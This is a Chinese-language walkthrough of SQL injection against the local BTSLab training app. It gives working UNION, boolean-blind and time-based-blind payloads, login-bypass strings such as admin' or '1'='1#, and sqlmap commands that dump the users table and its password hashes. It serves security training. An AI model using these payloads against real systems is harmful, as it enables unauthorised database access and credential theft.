判断注入点:http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1’ 如下图,报错,存在sql注入
手工注入,
http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 order by 4,页面返回正常 http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 order by 5,页面报错 说明字段数为4
http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,4 由下图可知,2,3,4字段会在页面显示
http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,database(),version(),user() 得到信息数据库bts,版本5.7.21,用户root
http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1 得到表: messages,posts,tdata,users
http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1 得到users表中的字段名: ID,username,email,password,about,privilege,avatar
http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,concat_ws(’:’,username,password) from users limit 1,1 这里管理员为admin,密码为MD5加密了,在线解密得到password 改变limit的参数,可以一次获取到用户名及其密码 http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,concat_ws(’:’,username,password) from users limit 2,1 http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,concat_ws(’:’,username,password) from users limit 3,1
万能密码尝试绕过对密码的检验 admin’ or ‘1’=‘1# admin’ or 1# admin’#
http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and 1=1%23 页面返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and 1=2%23 报错 经过测试发现属于布尔型盲注
http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 order by 5%23,页面返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 order by 8%23,直到测试到8,报错,所以字段数为7
http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and length(database())>=3%23,页面返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and length(database())>=4%23,页面报错 所以可以知道数据库名的长度为3,
http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii(substr((select database()),1,1))>97 %23,页面返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii(substr((select database()),1,1))>98 %23,页面报错 所以可以判断出数据库名的第一个字母的ASCII码值为97,即字母b 根据上述方式可以测试出数据库名为bts
http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and (select count(table_name) from information_schema.tables where table_schema=‘bts’)>=4%23,返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and (select count(table_name) from information_schema.tables where table_schema=‘bts’)>=5%23 经过测试说明数据库bts中有4个表,
http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=109%23,页面返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=110%23,页面返回错误 说明第一个表名的第一个字母是m(m的ascii码值为110),依次通过该方法可以获得表名messages、posts、tdata、users,盲注用手工注入的方式比较费时,大多数情况下都用sqlmap来注入得到数据。
http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=database()),1,1))>=65%23,页面返回正常,大写字母A的ASCII值是65,根据此方法可以得到users表中的所有字段ID、username、email、password、about、privilege、avatar
这里查询users表中usename的值: http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii( substr((select group_concat(username) from users),1,1))>=97,页面返回正常 根据这种方法依次可以得到username表中的username和password。
http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1 and 1=1%23 返回正常
http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1 and 1=2%23 页面返回发生变化
由此可以判断存在注入。 原以为跟sql盲注1一样,也是布尔型,但是当我接下来查询字段数的时候发现页面不会发生变化,所以判断这并不是布尔型,而是基于时间的盲注 测试payload:http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1 and sleep(5)%23 通过浏览器查看发现,页面确实响应了5秒 判断数据库是不是bts Payload:http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1 and if((select database())=‘bts’,sleep(5),NULL) OK,关于sql盲注2和sql盲注1并没有多大的区别,
payload:sqlmap -u “http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1” --current-db
payload:sqlmap -u “http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1” -D bts --tables
payload:sqlmap -u “http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1” -D bts -T users --dump
